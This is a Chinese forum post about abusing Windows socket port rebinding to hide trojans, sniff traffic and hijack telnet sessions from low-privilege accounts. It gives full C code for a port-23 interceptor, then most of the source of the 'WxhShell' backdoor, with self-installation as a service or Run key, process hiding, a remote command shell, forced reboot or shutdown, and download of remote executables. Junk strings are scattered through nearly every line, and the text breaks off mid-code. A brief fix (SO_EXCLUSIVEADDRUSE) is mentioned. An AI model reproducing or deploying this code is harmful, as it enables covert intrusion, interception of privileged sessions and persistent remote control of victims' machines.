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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z-qbe97  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XF+4*),  
K iEmvC  
  saddr.sin_family = AF_INET; d@p#{ -  
=P%&]5ts  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;{aGEOP'U  
`U=Jbdc l3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $H)Q UFyC  
t.dr<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )t KS ooW  
R+U$;r8l  
  这意味着什么?意味着可以进行如下的攻击: hbg$u$1`,  
/wax5FS'I,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KZTLIZxI-  
OLqV#i[K#9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &=x4M]t9L  
;*$e8y2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Jt[,V*:#  
Y!8FW|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yIcTc  
B]H8^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @({=~ W^  
7nPcm;Er  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FZ?:BX^  
:EAh%q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4y#XX[2Wj  
-pIz-*  
  #include }lDX3h  
  #include 7FJ4;HLQ  
  #include c -PZG|<C[  
  #include    TZ+ p6M8G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   araXE~Ac  
  int main() 7f}uRXBV$A  
  { 8]Tv1Wc  
  WORD wVersionRequested; ,~=]3qmbR  
  DWORD ret; - om9 Z0e  
  WSADATA wsaData; 0ki- /{;  
  BOOL val; NhCucSU<K  
  SOCKADDR_IN saddr; |1 "&[ .  
  SOCKADDR_IN scaddr; /OWwC%tM/  
  int err; xnt)1Q  
  SOCKET s; ;Y[D#Ja-  
  SOCKET sc; ^~.AV]t|  
  int caddsize; lOp. c U  
  HANDLE mt; [{Jo(X  
  DWORD tid;   :-5[0Mx=  
  wVersionRequested = MAKEWORD( 2, 2 ); W;yc)JB   
  err = WSAStartup( wVersionRequested, &wsaData ); Eamt_/LKf  
  if ( err != 0 ) { lKw-C[  
  printf("error!WSAStartup failed!\n"); B ,cFvS  
  return -1; 4~&3.1  
  } vUVFW'-  
  saddr.sin_family = AF_INET; y^,QM[&  
   x};~8lGT>t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QM#Vl19>j(  
~f(5l.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /wLGf]0  
  saddr.sin_port = htons(23); 4U\}"Mk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  =aZ d>{Y  
  { @ <{%r  
  printf("error!socket failed!\n"); B=r DU$z  
  return -1; ^hiY6N &  
  } K<wFr-z  
  val = TRUE; !9WGZfK+0Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gK QJ^a\!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >]pZ;e$  
  { 9e=}P L  
  printf("error!setsockopt failed!\n"); L?j0t*do  
  return -1; j(Lz& *4  
  } t\hnnu`Pq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W06#|8,{v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Zs />_w}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YD'gyP4  
&F uPd}F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a1~|?PCbY  
  { 9gcW;  
  ret=GetLastError(); XZb=;tYo  
  printf("error!bind failed!\n"); o6px1C:  
  return -1; @T~XwJ~  
  } dazNwn  
  listen(s,2); LN WS  
  while(1) "t&=~eOe3  
  { -0d9,,c  
  caddsize = sizeof(scaddr); eO <N/?t  
  //接受连接请求 S(Afo`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |E7 J5ha  
  if(sc!=INVALID_SOCKET) qC> tni%  
  { q* p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `P;r[j"  
  if(mt==NULL) }bv+^#  
  { PPB/-F]rr  
  printf("Thread Creat Failed!\n"); (s,&,I=@  
  break; KU,SAcfR7  
  } c$ !?4z_.  
  } Qc3d<{7\~  
  CloseHandle(mt); 7K\v=  
  } bRxI7 '  
  closesocket(s); Ze~P6  
  WSACleanup(); PGJh>[ s  
  return 0; 0[l}@K?  
  }   ZPmqoR[  
  DWORD WINAPI ClientThread(LPVOID lpParam) J:N(U0U  
  { YWK0.F,8a  
  SOCKET ss = (SOCKET)lpParam; =U3S"W %  
  SOCKET sc; =O }^2OARo  
  unsigned char buf[4096]; s#s">hMrI  
  SOCKADDR_IN saddr; %6320 x  
  long num; %NrH\v{7Q  
  DWORD val; ?.SGn[  
  DWORD ret; b!]O]dk#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (p[#[CI9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,Q-,#C"  
  saddr.sin_family = AF_INET; v1,#7s AW'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N.JR($N$  
  saddr.sin_port = htons(23); ?>h ~"D#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ChTq!W  
  { CW+kKN  
  printf("error!socket failed!\n"); Vc(4d-d5  
  return -1; R.rc h2  
  } _d@YLd78P  
  val = 100; ; BN81;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |Gf<Ql_.4  
  { d/7R}n^  
  ret = GetLastError(); T/3LJGnY  
  return -1; vTK%4=|1}!  
  } }ssV"5M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >[;W ~*  
  { -wXeue},>  
  ret = GetLastError(); Mp`$1Ksn  
  return -1; {$z54nvw$  
  } 1%+-}yo<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qS vV |G  
  { :hZM$4  
  printf("error!socket connect failed!\n"); m !*F5x  
  closesocket(sc); BYq80Vk%@  
  closesocket(ss); UH!(`Z\C  
  return -1; 3J#LxYK  
  } ty,oj33  
  while(1) 1,wcf,  
  { ddfGR/1X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^aSb~lce  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -Q n-w3~&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9>~pA]j%  
  num = recv(ss,buf,4096,0); cW:y^(Xii  
  if(num>0) `j>5W<5q\  
  send(sc,buf,num,0); ^cYB.oeu  
  else if(num==0) #hxYB  
  break; 5skN'*oG  
  num = recv(sc,buf,4096,0); iwK.*07+  
  if(num>0) }3{eVct#|  
  send(ss,buf,num,0); m.K cTM%j  
  else if(num==0) 9r?Z'~,Za  
  break; bTum|GWf  
  } #dZs[R7h  
  closesocket(ss); 1C<cwd;9  
  closesocket(sc); Te-p0x?G.  
  return 0 ; n5$#M  
  } 4H#-2LV`  
x(Bt[=,K3  
ZM.'W}J{ *  
========================================================== Z=]SAK`  
RsZj  
下边附上一个代码,,WXhSHELL sUG!dwqqd  
3(WijtH  
========================================================== +HS]kFH  
eN=jWUoCh  
#include "stdafx.h" 3YvKHn|V"  
~m6=s~Vn  
#include <stdio.h> gK rUv0&F  
#include <string.h> = QBvU)Ki  
#include <windows.h> !/}3/iU  
#include <winsock2.h> nQiZ6[L  
#include <winsvc.h> 8ZY]-%  
#include <urlmon.h> E8!`d}\#  
v)+g<!  
#pragma comment (lib, "Ws2_32.lib") bXs=<`>  
#pragma comment (lib, "urlmon.lib") $%~ JG(  
?@'&<o0p#  
#define MAX_USER   100 // 最大客户端连接数 4CM'I~  
#define BUF_SOCK   200 // sock buffer RCWmdR#}V  
#define KEY_BUFF   255 // 输入 buffer )pHtsd.eP  
1{a%V$S[  
#define REBOOT     0   // 重启 4qid+ [B  
#define SHUTDOWN   1   // 关机 Wlc&QOfF  
g+#awi7  
#define DEF_PORT   5000 // 监听端口 M6g8+sio  
o !tC{"g  
#define REG_LEN     16   // 注册表键长度 K?uZIDo  
#define SVC_LEN     80   // NT服务名长度 +x2JC' -H  
CYaN;HV@_  
// 从dll定义API 7X>IS#W]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q_b!+Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <A,V/']  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *5feB#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yD3}USw  
U ]<l-~|  
// wxhshell配置信息 y\skke]  
struct WSCFG { "8f4s|@ 3  
  int ws_port;         // 监听端口 P6v ANL-B  
  char ws_passstr[REG_LEN]; // 口令 {M**a  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4m0^ N  
  char ws_regname[REG_LEN]; // 注册表键名 E=8'!  
  char ws_svcname[REG_LEN]; // 服务名 zy,SL |6:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fmW{c mr|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RDdnOzx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ev7.!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no al2lC#Sy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xgk~%X%K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kq}byv}3I  
tpJA~!mG3  
}; Q4u.v,sE  
?AyxRbk  
// default Wxhshell configuration d>p' A_  
struct WSCFG wscfg={DEF_PORT, kOydh(yE  
    "xuhuanlingzhe", r07u6OA  
    1, DB|1Sqjsn  
    "Wxhshell", ^ptybVo  
    "Wxhshell", JN wI{  
            "WxhShell Service", kvwnqaX  
    "Wrsky Windows CmdShell Service", iHPsRq!  
    "Please Input Your Password: ", $*0-+h  
  1, ^\}qq>_  
  "http://www.wrsky.com/wxhshell.exe", H!IVbL`a{  
  "Wxhshell.exe" 9#z$GO|<  
    }; q<:8{Y|  
q A .9X4NQ  
// 消息定义模块 z.8/[)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TE Z%|5(]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F vkyp"W3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FOk&z!xYKd  
char *msg_ws_ext="\n\rExit."; Pxr/*X  
char *msg_ws_end="\n\rQuit."; >PA*L(Dh%  
char *msg_ws_boot="\n\rReboot..."; 3F;C{P!  
char *msg_ws_poff="\n\rShutdown..."; G&*P*f1 S  
char *msg_ws_down="\n\rSave to "; 23?u_?+4i  
c>LP}PGk  
char *msg_ws_err="\n\rErr!"; &>\;4E.O5  
char *msg_ws_ok="\n\rOK!"; *V2;ds.~  
p~w] ~\  
char ExeFile[MAX_PATH]; <st<oR'  
int nUser = 0; 5Y *4a%"  
HANDLE handles[MAX_USER]; 6|eqQ+(A  
int OsIsNt; Tw-NIT)  
WGv47i  
SERVICE_STATUS       serviceStatus; |]< 3cW+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gy.UTAs N  
 LSC[S:  
// 函数声明 Gn2{C%  
int Install(void); m!xvWqY+  
int Uninstall(void); SoU(fI[6  
int DownloadFile(char *sURL, SOCKET wsh); "-&K!Vfs  
int Boot(int flag); y RxrfAdS  
void HideProc(void); jSp&\Wjb  
int GetOsVer(void); Qf~>5(,h  
int Wxhshell(SOCKET wsl); M {jXo%C  
void TalkWithClient(void *cs); uMQI Aapb  
int CmdShell(SOCKET sock); dL0Q8d\^T  
int StartFromService(void); 6&$.E! z  
int StartWxhshell(LPSTR lpCmdLine); B/ 4M;G~  
0b{jox\!B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ps<E f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .)tv'V/  
0f@+o}i=)  
// 数据结构和表定义 uY5|Nmiu  
SERVICE_TABLE_ENTRY DispatchTable[] = JK! (\Ae.  
{ !)]/?&uo  
{wscfg.ws_svcname, NTServiceMain}, n#P>E( K  
{NULL, NULL} 9)VAEyv  
}; @\g}I`_M  
FsED9+/m  
// 自我安装 !/p|~K  
int Install(void) )J 'F]s  
{ lq9|tt6Z  
  char svExeFile[MAX_PATH]; nq!=9r  
  HKEY key; IH`Q=Pj  
  strcpy(svExeFile,ExeFile); FDl/7P`b(  
C'I&<  
// 如果是win9x系统,修改注册表设为自启动 sx#O3*'>1  
if(!OsIsNt) { 76w[X=Fv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TDo)8+.2 z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y(Qb)>K  
  RegCloseKey(key); S(PV*e8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J@-'IJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )]fiyXA  
  RegCloseKey(key); -YQh F;/  
  return 0; 77M!2S_E  
    } 6:2*<  
  } <SNr\/aCRi  
} ql@2<V{  
else { d#T5=5 #  
J,W $\V]p  
// 如果是NT以上系统,安装为系统服务 $ +WXM$N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X;!*D  
if (schSCManager!=0) g@'XmT="_  
{ .s<0}<Aq>  
  SC_HANDLE schService = CreateService A"7YkOfwH  
  ( WR #XPbk  
  schSCManager, lR %#R  
  wscfg.ws_svcname, &4OJJ9S  
  wscfg.ws_svcdisp, Ar>B_*dr  
  SERVICE_ALL_ACCESS, 7]rIq\bM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nFlN{_/  
  SERVICE_AUTO_START, fK7 ?"^`/  
  SERVICE_ERROR_NORMAL, xo@1((|z  
  svExeFile, hF-QbO  
  NULL, KiXfR\S~C  
  NULL, `/WxEu3  
  NULL, C|]c#X2t3  
  NULL, VrW]|jIu*  
  NULL ]|3hK/  
  ); Cj>HMB}  
  if (schService!=0) Zz} o  t  
  { PY.HZ/#d  
  CloseServiceHandle(schService); uf?;;wg  
  CloseServiceHandle(schSCManager); sK%b16#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YIk@{V  
  strcat(svExeFile,wscfg.ws_svcname); #K^hKx9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3f5YPf2u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .f$2-5q  
  RegCloseKey(key); XuP%/\  
  return 0; "w"a0nv  
    } a~yiLq  
  } Kz;Ar&^`N  
  CloseServiceHandle(schSCManager); bVcJ/+Yx|  
} h?TIxo:6/  
} N #v[YO`.  
HW[&q  
return 1; '_?Z{|  
} Kii@Z5R_?  
+j: &_  
// 自我卸载 X8tPn_`x  
int Uninstall(void) h>V6}(~;.  
{ l=xG<)Okb  
  HKEY key; c7+6[y DVE  
7NJl+*u  
if(!OsIsNt) { ll5;09  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \8#[AD*@s2  
  RegDeleteValue(key,wscfg.ws_regname); IS8 sJ6")  
  RegCloseKey(key); V~PGmn[V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]n4PM=hz  
  RegDeleteValue(key,wscfg.ws_regname); ;C-ds  
  RegCloseKey(key); }h1BAKg  
  return 0; {eU>E /SQ  
  } p@78Xmu?q  
} ,xU#uyB  
} vs8[352  
else { jW&*?6<  
oJM; CN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tzN9d~JZ  
if (schSCManager!=0) ds*gL ~k^  
{ 1R_@C.I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w&IYCYK_  
  if (schService!=0) P:g!~&Q  
  { Q7u|^Gu,5  
  if(DeleteService(schService)!=0) { #c:@oe4v  
  CloseServiceHandle(schService); =H7p&DhD[  
  CloseServiceHandle(schSCManager); OR&pGoW  
  return 0; RV@B[:  
  } GQg 2!s(  
  CloseServiceHandle(schService); 48,*sTRq  
  } O=}w1]  
  CloseServiceHandle(schSCManager); D;JZ0."  
} kQU4s)J  
} ~ tR!hc}  
g Nz  
return 1; Hva!6vwO%O  
} JAHmmNlW  
k|xmZA*  
// 从指定url下载文件 DzhLb8k  
int DownloadFile(char *sURL, SOCKET wsh) * 0K]/tn<  
{ 9V)cf  
  HRESULT hr; )*%uG{h  
char seps[]= "/"; %o9mG<.T  
char *token; |j"C52Q  
char *file; $Ud9v4  
char myURL[MAX_PATH]; "u^2!d  
char myFILE[MAX_PATH]; 8]&Fu3M^  
>CG;df<~  
strcpy(myURL,sURL); @j\;9>I/  
  token=strtok(myURL,seps); ;|T|*0vY[  
  while(token!=NULL) Z^]Oic/0Oa  
  { u9:sj  
    file=token; zk }SEt-  
  token=strtok(NULL,seps); 5[\g87 \  
  } bLl ?!G.  
/E/6(c  
GetCurrentDirectory(MAX_PATH,myFILE); 6&+dpr&c~=  
strcat(myFILE, "\\"); ^Zs ^  
strcat(myFILE, file); =l2 @'YQ  
  send(wsh,myFILE,strlen(myFILE),0); W\Il@Je;  
send(wsh,"...",3,0); 9Cd=^Im5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qv,ORm h5  
  if(hr==S_OK) Wv3p!zW3I  
return 0; n<EIu  
else c-zW 2;|61  
return 1; jB -A d8  
D7R;IA-w  
} % A 5s?J?  
H^*[TX=#[  
// 系统电源模块 CWZv/>,%  
int Boot(int flag) Z3zD4-p$_  
{ LP7jCt  
  HANDLE hToken; =WF@S1  
  TOKEN_PRIVILEGES tkp; x15&U\U  
%eF=;q  
  if(OsIsNt) { k FRVW+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ci%$So 2#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WjVm{7?{  
    tkp.PrivilegeCount = 1; [ )X(Qtk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z>`frL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5 3+C;]J  
if(flag==REBOOT) { ixy:S1 pI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o7tlkSZ  
  return 0; ,*Wh{)  
} m k~F@  
else { 0I)eYksh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g:^Hex?Yfd  
  return 0; &iuMB0rbu  
} Yk{4 3yw  
  } mr>E'd.'  
  else { rf/]VAK  
if(flag==REBOOT) { 'D+njxCk.A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $XyDw|z[  
  return 0; %7[d5[U~ZA  
} !K.)Qr9V  
else { @B)5Ho  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v*y,PY1*  
  return 0; /L`qOr2E  
} i @M^l`w  
} 0kp{`3ce  
" u]X/ {L  
return 1; 3DjX0Dx/l  
} 4d`f?8vS  
ktY  
// win9x进程隐藏模块 DBfq9%J _  
void HideProc(void) &4t=Y`]SL  
{ }P!:0w3  
?S)Pv53>}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4fL>Ou[YuX  
  if ( hKernel != NULL ) \J~@r1  
  { ckdCd J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dpdp0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HlxgJw~<  
    FreeLibrary(hKernel); lE bV)&'  
  } tTq2 AR|  
+s+E!=s  
return; d<_IC7$u>  
} ~!fOl)F  
:y~l?0b&8  
// 获取操作系统版本 nqY arHi  
int GetOsVer(void) V[* <^%  
{ ~c,+)69"T  
  OSVERSIONINFO winfo; ZB$,\|^6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UWgPQ%}  
  GetVersionEx(&winfo); Y4Jaw2b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sVS),9\}  
  return 1; p?s[I)e  
  else `cmzmQC  
  return 0; s|Vbc@t  
} Y0Rk:Njc  
St3/mDtH  
// 客户端句柄模块 !J }Q%i  
int Wxhshell(SOCKET wsl) {us#(4O  
{ 9Kc;]2m  
  SOCKET wsh; meD?<g4n~"  
  struct sockaddr_in client; s9b+uUt%  
  DWORD myID; e>HdJ"S`  
t; #D,gx  
  while(nUser<MAX_USER) ?D@WXE0a  
{ cS|W&IH1  
  int nSize=sizeof(client); %&$s0=+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eeUEqM$7EX  
  if(wsh==INVALID_SOCKET) return 1; :N=S nyz  
I!p[:.t7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U7xQ 5lph  
if(handles[nUser]==0) - [vH4~  
  closesocket(wsh); 2,6|l.WFpE  
else CVgVyy^  
  nUser++; %\ !3tN  
  } 4:s!mHcz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .Nd_p{   
$0 ~_)$i :  
  return 0; &~N@M!`Dn  
} kSqMI'89  
`Yo!sgPO\  
// 关闭 socket hRktvO)K  
void CloseIt(SOCKET wsh) Tml>>O  
{ hLSas#B>  
closesocket(wsh); G8 CM  
nUser--; JN<u4\e{-&  
ExitThread(0); X./7b{Pax  
} &Y8S! W@4  
Z2{G{]EV(  
// 客户端请求句柄 G4K3qD#+H  
void TalkWithClient(void *cs) WaDdZIz4  
{ V53iWWaFe  
D"s ]dQ$r  
  SOCKET wsh=(SOCKET)cs; 6  8a  
  char pwd[SVC_LEN]; `yua?n  
  char cmd[KEY_BUFF]; Xa=oEG  
char chr[1]; uPL|3ACS  
int i,j; 0(az80 p  
idP2G|Z  
  while (nUser < MAX_USER) { 5l /EZ\q  
vt2A/9_Z%  
if(wscfg.ws_passstr) { ~&8bVA= .  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sG k'G573  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uKpWb1(  
  //ZeroMemory(pwd,KEY_BUFF); 6tT*b@/_o  
      i=0; CDDOm8  
  while(i<SVC_LEN) { E<4'4)FHuQ  
@]:GTrs  
  // 设置超时 ^U{SUWl  
  fd_set FdRead; Q\GSX RP  
  struct timeval TimeOut; lZhd^69y  
  FD_ZERO(&FdRead); j?oh~7Ki  
  FD_SET(wsh,&FdRead); y/6%'56uF  
  TimeOut.tv_sec=8; %@x.km3e2  
  TimeOut.tv_usec=0; `&)uuLn|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~*^aCuq\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >Byxb./*  
47^R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UZ 6:vmcT  
  pwd=chr[0]; Ab)X/g-I @  
  if(chr[0]==0xd || chr[0]==0xa) { L 3^+`e  
  pwd=0; 5(&'/U^  
  break; U=\!`_f':  
  } kmF@u@5M  
  i++; >_LZD4v! <  
    } H6%%n X  
CUZ ;<Pn  
  // 如果是非法用户,关闭 socket \6c8Lqa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t8upS u|  
} ~"#[<d  
1usLCG>w{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v?qU/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` @Tl7I\  
 ,7w[r<7  
while(1) { m?pm)w  
_';oT*#  
  ZeroMemory(cmd,KEY_BUFF); ,e5#wz  
! p|d[  
      // 自动支持客户端 telnet标准   md`"zV  
  j=0; `_5{: 9N$  
  while(j<KEY_BUFF) { wYLJEuS|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gOKF%Ej31T  
  cmd[j]=chr[0]; s^ R i g[  
  if(chr[0]==0xa || chr[0]==0xd) { +*ZF52hy|  
  cmd[j]=0; 6-h(305A  
  break; +{pS2I}d  
  } A1V^Gi@i  
  j++; {S5H H"  
    } `KUl XS(  
FJ(}@U}57  
  // 下载文件 tw%z!u[a  
  if(strstr(cmd,"http://")) { tg' 2 v/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `78)|a*R.  
  if(DownloadFile(cmd,wsh)) U%E364;F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SK G!DKQ  
  else %Y*]eLT>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qD<\U  
  } wj#A#[e  
  else { LyA}Nd]pyq  
o!>h Q#h  
    switch(cmd[0]) { ^ woCwW8n  
  tunjV1 ,]  
  // 帮助 Z@{e\sZ)  
  case '?': { d\A!5/LG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IIIP<nyc  
    break; =E10j.r  
  } :B"Y3~I  
  // 安装 9L9+zs3 k  
  case 'i': { On4tK\l @  
    if(Install()) TIre,s)_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tkf JC|6  
    else k@/s-^ry3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |w w@V<'/#  
    break; 1a>TJdoa  
    } Q% LQP!Kg  
  // 卸载 vv5 uU8  
  case 'r': { y=spD^tM8  
    if(Uninstall()) 1^_V8dm)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yV/A%y-P  
    else # 8fq6z|JZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [/IN820t  
    break; yEB1gYJB  
    } + tza]r:  
  // 显示 wxhshell 所在路径 }SZU'lYHoM  
  case 'p': { c6_i~0W56  
    char svExeFile[MAX_PATH]; |;k@Zlvc  
    strcpy(svExeFile,"\n\r"); oZSPdk  
      strcat(svExeFile,ExeFile); a1yGgT a?D  
        send(wsh,svExeFile,strlen(svExeFile),0); }10ZPaHjl+  
    break; 0$A7"^]  
    } +JrbC/&  
  // 重启 (n0h#%  
  case 'b': { mcqLN5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r}Ec_0_lt  
    if(Boot(REBOOT)) S @[B?sNj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 r}R%{  
    else { \4 5%K|  
    closesocket(wsh); 0G}]d17ho  
    ExitThread(0); C])b 3tM,7  
    } \1R<GBC4  
    break; QkU6eE<M*  
    } (D1$&  
  // 关机 moT*r?l  
